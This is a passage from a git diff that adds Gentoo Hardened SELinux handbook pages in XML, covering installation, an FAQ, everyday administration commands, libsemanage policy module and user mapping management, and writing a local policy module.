+</note>
+<p>There are other packages that have SELinux patches, but are optional.  These
+should be remerged if they are already installed, so the SELinux patches are
+applied:</p>
+<ul>
+<li>app-admin/logrotate</li>
+<li>sys-apps/fcron</li>
+<li>sys-apps/vixie-cron</li>
+<li>sys-fs/device-mapper</li>
+<li>sys-fs/udev</li>
+<li>sys-libs/pwdb</li>
+</ul>
+<note>
+  Fcron and Vixie-cron are the only crons with SELinux support.
+</note>
+<note>The above packages are NOT an exhaustive list; they are only the most
+common ones.  In general, any package installed on the system which has the
+selinux USE flag should be remerged.  To see which packages may need to be
+merged, you can:
+emerge -upDN world
+
+Since changing to the selinux profile has changed your USE flags, the above
+will get everything that is listening to the selinux USE flag.  It will
+probably also get some other stuff as well.  To actually remerge everything,
+simply remove the 'p', or manually specify the packages you want to remerge.
+</note>
+</body></subsection>
+</section>
+
+<section><title>Merge Application Policies</title>
+<subsection><body>
+<p>
+  In future, when merging a package, the policy will be set as a dependency so
+  that it is merged first; however, since the system is being converted, policy
+  for currently installed packages must be merged.  The selinux-base-policy
+  already covers most packages in the system profile.
+</p>
+<p>
+  Look in the <c>/usr/portage/sec-policy</c>, it has several entries, each which
+  represent a policy.  The naming scheme is selinux-PKGNAME, where PKGNAME is
+  the name of the package that the policy is associated.  For example, the
+  selinux-apache package is the SELinux policy package for net-www/apache.
+  Merge each of the needed policy packages and then load the policy.
+  If you are converting a desktop, make sure to include the selinux-desktop policy package.
+</p>
+<pre caption="Example Merge of Apache and BIND policies">
+# <i>ls /usr/portage/sec-policy</i>
+<comment>(many directories listed)</comment>
+
+# <i>emerge -1 selinux-apache selinux-bind</i>
+</pre>
+</body></subsection>
+</section>
+
+<section><title>Label Filesystems</title>
+<subsection><body>
+<p>
+  Before you can relabel the rest of the filesystems, you need to first relabel
+  /dev.  Strictly speaking, this is only necessary if you aren't using a static
+  /dev.  However, as the vast majority of current and new systems are going to
+  be built with udev, this probably means you are using udev as well.  There
+  are a lot of different ways to get at this problem, but the steps below are
+  easy to do and work.
+</p>
+  <pre caption="Relabel /dev">
+<i># mkdir /mnt/gentoo
+# mount -o bind / /mnt/gentoo
+# setfiles -r /mnt/gentoo /etc/selinux/{strict,targeted}/contexts/files/file_contexts /mnt/gentoo/dev
+# umount /mnt/gentoo
+</i>
+  </pre>
+  <note>Remember to select one of {strict,targeted} above based on your
+ enforcement mode.</note>
+<p>
+  Now label the filesystems.  This gives each of the files in the filesystems
+  a security label.  Keeping these labels consistent is important.
+</p>
+<pre caption="Label filesystems">
+# <i>rlpkg -a -r</i>
+</pre>
+<warn>
+  There is a known issue with older versions of GRUB
+  not being able to read symlinks that have been labeled.
+  Please make sure you have at least GRUB 0.94 installed.
+  Also rerun GRUB and reinstall it into the MBR to ensure
+  the updated code is in use.
+  You do have a LiveCD handy, right?
+</warn>
+<pre caption="Reinstall GRUB on the MBR (GRUB users only)">
+# <i>grub</i>
+
+grub> root (hd0,0) <comment>(Your boot partition)</comment>
+grub> setup (hd0) <comment>(Where the boot record is installed; here, it is the MBR)</comment>
+</pre>
+<p>
+  If you've installed Gentoo using the hardened sources, then you'll need to
+  tell SELinux that you are using the hardened tool-chain with ssp.  You do
+  this by setting an SELinux global boolean 
+</p>
+<pre caption="SELinux global_ssp">
+<i>setsebool -P global_ssp on</i>
+</pre>
+<note>Make sure you use the -P flag, or the setting won't survive the reboot,
+and you'll likely see a lot of errors relating to /dev/null and /dev/random
+</note>
+</body></subsection>
+</section>
+
+<section><title>Final reboot</title>
+<subsection><body>
+<p>Reboot.  Log in, then relabel again to ensure all files
+are labeled correctly (some files may have been created during shutdown and
+reboot)</p>
+<pre caption="Relabel">
+# <i>rlpkg -a -r</i>
+</pre>
+<note>
+  It is strongly suggested to <uri link="http://www.gentoo.org/main/en/lists.xml">subscribe</uri>
+  to the gentoo-hardened mail list.  It is generally a low traffic list, and 
+  SELinux announcements are made there.
+</note>
+<p>
+  SELinux is now installed!
+</p>
+</body></subsection>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/en/hardened/selinux/hb-selinux-faq.xml b/xml/htdocs/proj/en/hardened/selinux/hb-selinux-faq.xml
new file mode 100644
index 00000000..dc35969b
--- /dev/null
+++ b/xml/htdocs/proj/en/hardened/selinux/hb-selinux-faq.xml
@@ -0,0 +1,154 @@
+<?xml version='1.0' encoding="utf-8"?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/hardened/selinux/hb-selinux-faq.xml,v 1.4 2006/09/07 10:37:46 neysx Exp $ -->
+
+<sections>
+<version>1.3</version>
+<date>2006-05-01</date>
+
+<section><title>SELinux features</title>
+<subsection><title>Does SELinux enforce resource limits?</title>
+<body>
+<p>
+  No, resource limits are outside the scope of an access control system.  If you
+  are looking for this type of support, GRSecurity and RSBAC are better choices.
+</p>
+</body></subsection>
+</section>
+
+<section><title>SELinux and other hardened projects</title>
+<subsection><title>Can I use SELinux and GRSecurity (and PaX)?</title>
+<body>
+<p>
+  Yes, SELinux can be used with GRSecurity and/or PaX with no problems; however,
+  it is suggested that GRACL should not be used, since it would be redundant
+  to SELinux's access control.
+</p>
+</body></subsection>
+<subsection><title>Can I use SELinux and the hardened compiler (PIE-SSP)?</title>
+<body>
+<p>
+  Yes.  It is also suggested that PaX be used to take full advantage
+  of the PIE features of the compiler.
+</p>
+</body></subsection>
+<subsection><title>Can I use SELinux and RSBAC?</title>
+<body>
+<p>
+  Unknown.  Please report your results if you try this combination.
+</p>
+</body></subsection>
+</section>
+
+<section><title>SELinux and filesystems</title>
+<subsection><title>Can I use SELinux with my primary filesystems?</title>
+<body>
+<p>
+  SELinux can be used with ext2, ext3, JFS, and XFS.  Reiserfs (Reiser3) has
+  extended attributes, but the support was never complete, and has been broken
+  since 2.6.14.  Reiser4 is not supported.
+</p>
+</body></subsection>
+<subsection><title>Can I use SELinux with my ancillary filesystems?</title>
+<body>
+<p>
+  Yes, SELinux can mount ancillary filesystems, such as vfat and iso9660
+  filesystems, with an important caveat.  All files in each filesystem will
+  have the same SELinux type, since the filesystems do not support extended
+  attributes.  Tmpfs is the only ancillary filesystem with complete extended
+  attribute support, which allows it to behave like a primary filesystem.
+</p>
+</body></subsection>
+<subsection><title>Can I use SELinux with my network filesystems?</title>
+<body>
+<p>
+  Yes, SELinux can mount network filesystems, such as NFS and CIFS
+  filesystems, with an important caveat.  All files in each filesystem will
+  have the same SELinux type, since the filesystems do not support extended
+  attributes.  In the future, hopefully network filesystems will begin to
+  support extended attributes, then they will work like a primary filesystem.
+</p>
+</body></subsection>
+</section>
+
+<section><title>Portage error messages</title>
+<subsection><title>I get a missing SELinux module error when using emerge:</title>
+<body>
+<pre caption="Portage message">
+!!! SELinux module not found. Please verify that it was installed.
+</pre>
+<p>
+  This indicates that the portage SELinux module is missing or damaged.
+  Also python may have been upgraded to a new version which requires
+  python-selinux to be recompiled.  Remerge dev-python/python-selinux.
+  If packages have been merged under this condition, they must be relabed
+  after fixing this condition.  If the packages needing to be remerged cannot
+  be determined, a full relabel may be required.
+</p>
+</body></subsection>
+</section>
+
+<section><title>SELinux kernel error messages</title>
+<subsection><title>I get a register_security error message when booting:</title>
+<body>
+<pre caption="Kernel message">
+There is already a security framework initialized, register_security failed.
+Failure registering capabilities with the kernel
+selinux_register_security:  Registering secondary module capability
+Capability LSM initialized
+</pre>
+<p>
+  This means that the Capability LSM module couldn't register as the primary
+  module, since SELinux is the primary module.  The third message means that it
+  registers with SELinux as a secondary module.  This is normal.
+</p>
+</body></subsection>
+</section>
+
+<section><title>Setfiles error messages</title>
+<subsection><title>When I try to relabel, it fails with invalid contexts:</title><body>
+<pre caption="Invalid contexts example">
+# make relabel
+/usr/sbin/setfiles file_contexts/file_contexts `mount | awk '/(ext[23]| xfs).*rw/{print $3}'`
+/usr/sbin/setfiles:  read 559 specifications
+/usr/sbin/setfiles:  invalid context system_u:object_r:default_t on line number 39
+/usr/sbin/setfiles:  invalid context system_u:object_r:urandom_device_t on line number 120
+/usr/sbin/setfiles:  invalid context system_u:object_r:fonts_t on line number 377
+/usr/sbin/setfiles:  invalid context system_u:object_r:fonts_t on line number 378
+/usr/sbin/setfiles:  invalid context system_u:object_r:krb5_conf_t on line number 445
+/usr/sbin/setfiles:  invalid context system_u:object_r:system_cron_spool_t on line number 478
+/usr/sbin/setfiles:  invalid context system_u:object_r:system_cron_spool_t on line number 479
+/usr/sbin/setfiles:  invalid context system_u:object_r:system_cron_spool_t on line number 492
+/usr/sbin/setfiles:  invalid context system_u:object_r:system_cron_spool_t on line number 493
+/usr/sbin/setfiles:  invalid context system_u:object_r:system_cron_spool_t on line number 494
+Exiting after 10 errors.
+make: *** [relabel] Error 1
+</pre>
+<p>
+  First ensure that /selinux is mounted.  If selinuxfs is not mounted, setfiles
+  cannot validate any contexts, causing it to believe all contexts are
+  invalid.  If /selinux is mounted, then most likely there is new policy that
+  has not yet been loaded; therefore, the contexts have not yet become valid.
+</p>
+</body></subsection>
+</section>
+
+
+<!-- always keep this one as the bottom FAQ :) -->
+<!-- comment out since the demo machine is down for an indefinite period of time
+<section><title>Gentoo SELinux Demonstration Machine</title>
+<subsection><body>
+<p>
+  This machine is not running user-mode linux, or in a chroot, it has SELinux
+  mandatory access control.  No, you cannot install psybnc or an irc bot on the
+  machine, unless you break the SELinux security and gain higher priviledge.
+</p>
+</body></subsection>
+</section>
+-->
+<!-- dont put anything below here, this demo machine faq should be the last one -->
+</sections>
diff --git a/xml/htdocs/proj/en/hardened/selinux/hb-selinux-howto.xml b/xml/htdocs/proj/en/hardened/selinux/hb-selinux-howto.xml
new file mode 100644
index 00000000..b8f7db0b
--- /dev/null
+++ b/xml/htdocs/proj/en/hardened/selinux/hb-selinux-howto.xml
@@ -0,0 +1,250 @@
+<?xml version='1.0' encoding="utf-8"?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/hardened/selinux/hb-selinux-howto.xml,v 1.6 2008/05/20 15:45:43 pebenito Exp $ -->
+
+<sections>
+<version>2.0</version>
+<date>2006-10-14</date>
+
+<section><title>Load policy into a running SELinux kernel</title>
+<subsection><body>
+<p>
+  This requires you to be in the <c>sysadm_r</c> role.
+</p>
+<pre caption="Semodule command">
+# <i>semodule -B</i>
+</pre>
+</body></subsection>
+</section>
+
+<section><title>Change roles</title>
+<subsection><body>
+<p>
+  This requires your user have access to the target role.  This example
+  is for changing to the <c>sysadm_r</c> role.
+</p>
+<pre caption="Newrole">
+# <i>newrole -r sysadm_r</i>
+</pre>
+</body></subsection>
+</section>
+
+<section><title>Specify available roles for a user</title>
+<subsection><body>
+<p>
+  There is a mapping of linux users to SELinux identities.  The policy has
+  generic SELinux users for relevant configurations of roles.  For example, to
+  map the user <c>pebenito</c> to the SELinux identity <c>staff_u</c>, run:
+</p>
+<pre caption="Map pebenito to staff_u">
+# <i>semanage login -a -s staff_u pebenito</i>
+</pre>
+<p>
+  The policy does not need to be reloaded.  If the user is logged in, it
+  must log out and log in again to take effect.
+</p>
+</body></subsection>
+</section>
+
+<section><title>Relabel filesystems</title>
+<subsection><body>
+<p>
+  This requires you to be in the <c>sysadm_r</c> role.
+</p>
+<pre caption="Relabel">
+# <i>rlpkg -a</i>
+</pre>
+</body></subsection>
+</section>
+
+<section><title>Relabel an individual package</title>
+<subsection><body>
+<p>
+   In addition to relabeling entire filesystems, individual portage packages
+   can be relabeled.  This requires you to be in the <c>sysadm_r</c> role.
+</p>
+<pre caption="rlpkg example">
+# <i>rlpkg shadow sash</i>
+</pre>
+<p>
+   The script rlpkg is used, and any number of packages can be specified
+   on the command line.
+</p>
+</body></subsection>
+</section>
+
+<section><title>Scan for libraries with text relocations</title>
+<subsection><body>
+<p>
+  SELinux has improved memory protections.  One feature supported is
+  the permission for ELF text relocations.  The libraries with text relocations
+  have a special label, and the <c>rlpkg</c> tool has an option to scan for
+  these libraries.
+</p>
+<pre caption="TEXTREL Scan">
+# <i>rlpkg -t</i>
+</pre>
+<p>
+  This will also be done by automatically after a full relabel.
+</p>
+</body></subsection>
+</section>
+
+<section><title>Start daemons in the correct domain</title>
+<subsection><body>
+<p>
+  Controlling daemons that have init scripts in /etc/init.d is slightly
+  different in SELinux.  The <c>run_init</c> command must be used to run
+  the scripts, to ensure they are ran in the correct domain.  The command
+  can be ran normally, except the command is prefixed with <c>run_init</c>.
+  This requires you to be in the <c>sysadm_r</c> role.
+</p>
+<pre caption="run_init examples">
+# <i>run_init /etc/init.d/ntpd start</i>
+# <i>run_init /etc/init.d/apache2 restart</i>
+# <i>run_init /etc/init.d/named stop</i>
+</pre>
+</body></subsection>
+<subsection><title>Gentoo run_init integration</title><body>
+<p>
+  <c>run_init</c> has been integrated into Gentoo's init script system.  With
+  SELinux installed, services can be started and stopped as usual, but will
+  now authenticate the user.
+</p>
+<pre caption="Integrated run_init example">
+# <i>/etc/init.d/sshd restart</i>
+Authenticating root.
+Password:
+ * Stopping sshd...                       [ ok ]
+ * Starting sshd...                       [ ok ]
+</pre>
+</body></subsection>
+</section>
+
+<section><title>Switch between enforcing and permissive modes</title>
+<subsection><body>
+<p>
+  Switching between modes in SELinux is very simple.  Write a 1 for
+  enforcing, or 0 for permissive to /selinux/enforce to set the mode.
+  The current mode can be queried by reading /selinux/enforce; 0 means
+  permissive mode, and 1 means enforcing mode.  If the kernel option
+  "NSA SELinux Development Support" is turned off, the system will always
+  be in enforcing mode, and cannot be switched to permissive mode.
+</p>
+<pre caption="">
+<comment>Query current mode</comment>
+# <i>cat /selinux/enforce</i>
+<comment>Switch to enforcing mode</comment>
+# <i>echo 1 > /selinux/enforce</i>
+<comment>Switch to permissive mode</comment>
+# <i>echo 0 > /selinux/enforce</i>
+</pre>
+<p>
+  A machine with development support turned on can be started in enforcing
+  mode by adding <c>enforcing=1</c> to the kernel command line, in the
+  bootloader (GRUB, lilo, etc).
+</p>
+</body></subsection>
+
+<subsection><title>Managed policy</title><body>
+<p>
+  In addition to the above kernel options, the mode at boot can be
+  set by the <c>/etc/selinux/config</c> file.
+</p>
+<pre caption="/etc/selinux/config">
+# SELINUX can take one of these three values:
+#       enforcing - SELinux security policy is enforced.
+#       permissive - SELinux prints warnings instead of enforcing.
+#       disabled - No SELinux policy is loaded.
+SELINUX=<comment>permissive</comment>
+</pre>
+<p>
+  The setting in this file will be overridden by the kernel command line
+  options described above.
+</p>
+</body></subsection>
+</section>
+
+<section><title>Understand sestatus output</title>
+<subsection><body>
+<p>
+  The <c>sestatus</c> tool can be used to determine detailed SELinux-specific
+  status information about the system.  The <c>-v</c> option provides extra
+  detail about the context of processes and files.  The output will be
+  divided into four sections.  Sestatus only provides complete information
+  for a user logged in as root (or su/sudo), in the <c>sysadm_r</c> role.
+</p>
+<pre caption="Status example">
+SELinux status:         enabled
+SELinuxfs mount:        /selinux
+Current mode:           enforcing
+Policy version:         18
+</pre>
+<p>
+  The main status information is provided in the first section.  The first
+  line shows if SELinux kernel functions exists and are enabled.  If the
+  status is disabled, either the kernel does not have SELinux support, or
+  the policy is not loaded.  The second line shows the mount point for
+  the SELinux filesystem.  During the normal use, the filesystem should be
+  mounted at the default location of <c>/selinux</c>.  The third line
+  shows the current SELinux mode, either enforcing or permissive.  The fourth
+  line shows the policy database version supported by the currently running
+  kernel.
+</p>
+<pre caption="Booleans example">
+Policy booleans:
+secure_mode             inactive
+ssh_sysadm_login        inactive
+user_ping               inactive
+</pre>
+<p>
+  The second section displays the status of the conditional policy booleans.  The
+  left column is the name of boolean.  The right column is the status of the
+  boolean, either active, or inactive.  This section will not be shown on
+  policy version 15 kernels, as they do not support conditional policy.
+</p>
+<pre caption="Process context example">
+Process contexts:
+Current context:        pebenito:sysadm_r:sysadm_t
+Init context:           system_u:system_r:init_t
+/sbin/agetty            system_u:system_r:getty_t
+/usr/sbin/sshd          system_u:system_r:sshd_t
+</pre>
+<p>
+  The third section displays the context of the current process, and of several
+  key processes.  If a process is running in the incorrect context, it will not
+  function correctly.
+</p>
+<pre caption="File context example">
+File contexts:
+Controlling term:       pebenito:object_r:sysadm_devpts_t
+/sbin/init              system_u:object_r:init_exec_t
+/sbin/agetty            system_u:object_r:getty_exec_t
+/bin/login              system_u:object_r:login_exec_t
+/sbin/rc                system_u:object_r:initrc_exec_t
+/sbin/runscript.sh      system_u:object_r:initrc_exec_t
+/usr/sbin/sshd          system_u:object_r:sshd_exec_t
+/sbin/unix_chkpwd       system_u:object_r:chkpwd_exec_t
+/etc/passwd             system_u:object_r:etc_t
+/etc/shadow             system_u:object_r:shadow_t
+/bin/sh                 system_u:object_r:bin_t -> system_u:object_r:shell_exec_t
+/bin/bash               system_u:object_r:shell_exec_t
+/bin/sash               system_u:object_r:shell_exec_t
+/usr/bin/newrole        system_u:object_r:newrole_exec_t
+/lib/libc.so.6          system_u:object_r:lib_t -> system_u:object_r:shlib_t
+/lib/ld-linux.so.2      system_u:object_r:lib_t -> system_u:object_r:shlib_t
+</pre>
+<p>
+  The fourth section displays the context of the current process's controlling
+  terminal, and of several key files.  For symbolic links, the context of
+  the link and then the context of the link target is displayed.  If a file has
+  an incorrect context, the file may be inaccessable or have incorrect
+  permissions for a particular process.
+</p>
+</body></subsection>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/en/hardened/selinux/hb-selinux-initpol.xml b/xml/htdocs/proj/en/hardened/selinux/hb-selinux-initpol.xml
new file mode 100644
index 00000000..b13a0dec
--- /dev/null
+++ b/xml/htdocs/proj/en/hardened/selinux/hb-selinux-initpol.xml
@@ -0,0 +1,48 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/hardened/selinux/hb-selinux-initpol.xml,v 1.6 2008/05/20 15:45:43 pebenito Exp $ -->
+
+<sections>
+<version>1.3</version>
+<date>2004-11-16</date>
+
+<section><title>Verify Available Policy</title>
+<subsection><body>
+<p>
+  You must be in <c>sysadm_r</c> to perform this action.
+</p>
+<p>
+  A binary policy must be available in 
+  /etc/selinux/{strict,targeted}/policy.  If it is missing, then install
+  the policy.
+</p>
+<pre caption="Install policy">
+# <i>semodule -n -B</i>
+</pre>
+</body>
+</subsection>
+</section>
+
+<section><title>Verify Init Can Load the Policy</title>
+<subsection><body>
+<p>
+  The final check is to ensure init can load the policy.  Run <c>ldd</c> on
+  init, and if libselinux is not in the output, remerge sysvinit.
+</p>
+<pre caption="">
+# <i>ldd /sbin/init</i>
+  linux-gate.so.1 =>  (0xffffe000)
+  <comment>libselinux.so.1 => /lib/libselinux.so.1 (0x40025000)</comment>
+  libc.so.6 => /lib/libc.so.6 (0x40035000)
+  /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
+</pre>
+<p>
+  Now reboot so init gains the correct context, and loads the policy.
+</p>
+</body></subsection>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/en/hardened/selinux/hb-selinux-libsemanage.xml b/xml/htdocs/proj/en/hardened/selinux/hb-selinux-libsemanage.xml
new file mode 100644
index 00000000..a441f299
--- /dev/null
+++ b/xml/htdocs/proj/en/hardened/selinux/hb-selinux-libsemanage.xml
@@ -0,0 +1,246 @@
+<?xml version='1.0' encoding="utf-8"?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/hardened/selinux/hb-selinux-libsemanage.xml,v 1.1 2006/10/15 20:32:39 pebenito Exp $ -->
+
+<sections>
+<version>1.0</version>
+<date>2006-10-15</date>
+
+<section><title>SELinux Management Infrastructure</title>
+<subsection><body>
+<p>
+  The SElinux management infrastructure manages several aspects of SELinux
+  policy.  These management tools are based on the core library libsemanage.
+  There are several management programs to to various tasks, including
+  <c>semanage</c> and <c>semodule</c>.  They allow you to configure aspects
+  of the policy without requiring the policy sources.
+</p>
+</body></subsection>
+</section>
+
+<section><title>SELinux Policy Module Management</title>
+<subsection><title>What is a policy module?</title><body>
+<p>
+  SELinux supports a modular policy.  This means several pieces of policy
+  are brought together to form one complete policy to be loaded in the
+  kernel.  This is a similar structure as the kernel itself and kernel modules.
+  There is a main kernel image that is loaded, and various kernel modules can
+  be added (assuming their dependencies are met) and removed on a running
+  system without restarting.  Similarly each policy has a base module and
+  zero or more policy modules, all used to create a policy.
+  Modules are built by compiling a piece of policy, and creating a policy
+  package (*.pp) with that compiled policy, and optionally file contexts.
+</p>
+<p>
+  The base module policy package (base.pp) contains the basic requirements of
+  the policy.  All modular policies must have a base module at minimum.
+  In Gentoo we have these plus policies for all parts of the system profile.
+  This is contained in the selinux-base-policy ebuild.  The other policy ebuilds
+  in portage have one or more policy modules.
+</p>
+<p>
+  For more information on writing a policy module, in particular for managing
+  your local customizations to the policy, please see the
+  <uri link="selinux-handbook.xml?part=3&amp;chap=5">policy module guide</uri>.
+</p>
+</body></subsection>
+
+<subsection><title>The SELinux module store</title><body>
+<p>
+  When a policy module is inserted or removed, modules are copied into or
+  removed from the module store.  This repository has a copy of the
+  modules that were used to create the current policy, in addition to several
+  auxilliary files.  This repository is stored in the
+  /etc/selinux/{strict,targeted}/modules.  You should never need to directly
+  access the contents of the module store.  A libsemanage-based tool should be
+  used instead.
+</p>
+<p>
+  Libsemanage handles the module store transactionally.  This means that if
+  a set of operations (a transaction) is performed on the store and one part
+  fails, the entire transaction is aborted.  This keeps the store in a
+  consistent state.
+</p>
+<p>
+  Managing the module store is accomplished with the <c>semodule</c> command.
+  Listing the contents of the module store is done with the <c>-l</c> option.
+</p>
+<pre caption="">
+# semodule -l
+distcc  1.1.1
+</pre>
+<p>
+  Since the base module is required in all cases, and is not versioned, it will
+  not be shown in the list.  All other modules will be listed, along with their
+  versions.
+</p>
+</body></subsection>
+
+<subsection><title>Inserting a policy module</title><body>
+<p>
+  The module should be referenced by its file name.
+</p>
+<pre caption="">
+# <i>semodule -i module.pp</i>
+</pre>
+<p>
+  This will insert the module into module store for the currently configured
+  policy as specified in /etc/selinux/config.  If the insert succeeds, the
+  policy will be loaded, unless the <c>-n</c> option is used.  To insert the
+  module into an alternate module store, the <c>-s</c> option.
+</p>
+<pre caption="">
+# <i>semodule -s targeted -i module.pp</i>
+</pre>
+<p>
+  Since this refers to an alternate module store, the policy will not be loaded.
+</p>
+</body></subsection>
+
+<subsection><title>Removing a policy module</title><body>
+<p>
+  The module is referenced by its name in the module store.
+</p>
+<pre caption="">
+# <i>semodule -r module</i>
+</pre>
+<p>
+  This will remove the module into module store for the currently configured
+  policy as specified in /etc/selinux/config.  If the remove succeeds, the
+  policy will be loaded, unless the <c>-n</c> option is used.  The remove
+  command also respects the <c>-s</c> option.
+</p>
+</body></subsection>
+</section>
+
+<section><title>Configuring User Login Mappings</title>
+<subsection><body>
+<p>
+  The current method of assigning sets of roles to a user is by setting
+  up a mapping between linux users and SELinux identities.  When a user
+  logs in, the login program will set the SELinux identity based on the
+  this map.  If there is no explicit map, the <c>__default__</c> map is
+  used.
+</p>
+<p>
+  Managing the SELinux user login map is accomplished with the <c>semanage</c>
+  tool.
+</p>
+<pre caption="SELinux login user map">
+# <i>semanage login -l</i>
+Login Name                SELinux User
+
+__default__               user_u
+root                      root
+</pre>
+</body></subsection>
+
+<subsection><title>Add a user login mapping</title><body>
+<p>
+  To map the linux user <c>pebenito</c> to the SELinux identity <c>staff_u</c>:
+</p>
+<pre caption="">
+# <i>semanage login -a -s staff_u pebenito</i>
+</pre>
+<p>
+  For descriptions on the available SELinux identities, see the
+  <uri link="selinux-handbook.xml?part=3&amp;chap=1#doc_chap3">SELinux Overview</uri>.
+</p>
+</body></subsection>
+
+<subsection><title>Remove a user login mapping</title><body>
+<p>
+  To remove a login map for the linux user <c>pebenito</c>:
+</p>
+<pre caption="">
+# <i>semanage login -d pebenito</i>
+</pre>
+<note>
+  User login maps specified by the policy (not by the management infrastructure)
+  cannot be removed.
+</note>
+</body></subsection>
+</section>
+
+<section><title>Configuring Initial Boolean States</title>
+<subsection><body>
+<p>
+  The <c>setsebool</c> program is now a libsemanage tool.  This tool's basic
+  function is to set the state of a Boolean.  However, if the machine is
+  restarted, the Booelans will be set using the initial state as specified in
+  the policy.  To set the Boolean state, and make that the new initial state
+  in the policy, the <c>-P</c> option of <c>setsebool</c> is used.
+</p>
+<pre caption="Set Boolean default state">
+# <i>setsebool -P fcron_crond 1</i>
+</pre>
+<p>
+  This will set the fcron_crond Boolean to true and also make the initial state
+  for the Boolean true.
+</p>
+</body></subsection>
+</section>
+
+<section><title>Configuring SELinux Identities</title>
+<subsection><body>
+<p>
+  Generally SELinux identities need not be added to the policy, as user
+  login mappings are sufficient.  However, one reason to add them is for
+  improved auditing, since the SELinux identity is part of the scontext of a
+  denial message.
+</p>
+<p>
+  Managing the SELinux identities is accomplished with the <c>semanage</c> tool.
+</p>
+<pre caption="SELinux identity list">
+# <i>semanage user -l</i>
+SELinux User    SELinux Roles
+
+root            sysadm_r staff_r
+staff_u         sysadm_r staff_r
+sysadm_u        sysadm_r
+system_u        system_r
+user_u          user_r
+</pre>
+</body></subsection>
+
+<subsection><title>Add a SELinux identity</title><body>
+<p>
+  In addition to specifying the roles for an identity, a prefix must
+  also be specified.  This prefix should match a role, for example
+  <c>staff</c> or <c>sysadm</c>, and it is used for home directory
+  entries.  So if <c>staff</c> is used for the prefix, linux users that
+  are mapped to this identity will have their home directory labeled
+  <c>staff_home_dir_t</c>.
+</p>
+<p>
+  To add the <c>test_u</c> identity with the roles <c>staff_r</c> and
+  <c>sysadm_r</c> with the prefix <c>staff</c>:
+</p>
+<pre caption="">
+# <i>semanage user -a -R 'staff_r sysadm_r' -P staff test_u</i>
+</pre>
+<note>
+  To use the SELinux identity, a user login map still must be added.
+</note>
+</body></subsection>
+
+<subsection><title>Remove a SELinux user identity</title><body>
+<p>
+  To remove the test_u SELinux identity:
+</p>
+<pre caption="">
+# <i>semanage user -d test_u</i>
+</pre>
+<note>
+  SELinux identities specified by the policy (not by the management
+  infrastructure) cannot be removed.
+</note>
+</body></subsection>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/en/hardened/selinux/hb-selinux-localmod.xml b/xml/htdocs/proj/en/hardened/selinux/hb-selinux-localmod.xml
new file mode 100644
index 00000000..8674b9f9
--- /dev/null
+++ b/xml/htdocs/proj/en/hardened/selinux/hb-selinux-localmod.xml
@@ -0,0 +1,134 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/hardened/selinux/hb-selinux-localmod.xml,v 1.1 2006/10/15 20:32:39 pebenito Exp $ -->
+
+<sections>
+<version>1.0</version>
+<date>2006-10-15</date>
+
+<section><title>Introduction</title>
+<subsection><body>
+<p>
+  This guide discusses how to set up a policy module for local additions
+  of rules to the policy.
+</p>
+</body></subsection>
+</section>
+
+<section><title>Preparation</title>
+<subsection><body>
+<p>
+  Copy the example Makefile from the selinux-base-policy doc directory to the
+  directory that will be used for building the policy.  It is suggested that
+  /root be used.  The places that the <c>semodule</c> tool can read policy
+  modules includes sysadm home directories.
+</p>
+<pre caption="">
+# <i>zcat /usr/share/doc/selinux-base-policy-20061008/Makefile.example.gz > /root/Makefile</i>
+</pre>
+</body></subsection>
+</section>
+
+<section><title>Write a TE file</title>
+<subsection><body>
+<p>
+  In a policy module, most policy statements are usable in modules.
+  There are a few extra statements that must be added for proper operation.
+</p>
+<pre caption="Example local.te">
+policy_module(local,1.0)
+
+require {
+	type sysadm_su_t, newrole_t;
+}
+allow sysadm_su_t newrole_t:process sigchld;
+</pre>
+<p>
+  In addition to the basic allow rule, it has a couple statements required
+  by policy modules.  The first is a policy_module() macro that has the
+  name of the module, and the module's version.  It also has a require
+  block.  This block specifies all types that are required for this module
+  to function.  All types used in the module must either be declared in the
+  module or required by this module.
+</p>
+</body></subsection>
+</section>
+
+<section><title>Write a FC File (optional)</title>
+<subsection><body>
+<p>
+  The file contexts file is optional and has the same syntax as as always.
+</p>
+<pre caption="Example local.fc">
+/opt/myprogs/mybin	--	system_u:object_r:bin_t
+</pre>
+<p>
+  Types used in the file context file should be required or declared in
+  the TE file.
+</p>
+</body></subsection>
+</section>
+
+<section><title>Compile Policy Modules</title>
+<subsection><body>
+<p>
+  Simply run <c>make</c> to build all modules in the directory.  The module
+  will be compiled for the current policy as specified by /etc/selinux/config.
+</p>
+<pre caption="">
+# <i>make</i>
+Compiling strict local module
+/usr/bin/checkmodule:  loading policy configuration from tmp/local.tmp
+/usr/bin/checkmodule:  policy configuration loaded
+/usr/bin/checkmodule:  writing binary representation (version 6) to tmp/local.mod
+Creating strict local.pp policy package
+</pre>
+<p>
+  To build the module for a policy other than the configured policy, use the
+  <c>NAME=</c> option.
+</p>
+<pre caption="">
+# <i>make NAME=targeted</i>
+Compiling targeted local module
+/usr/bin/checkmodule:  loading policy configuration from tmp/local.tmp
+/usr/bin/checkmodule:  policy configuration loaded
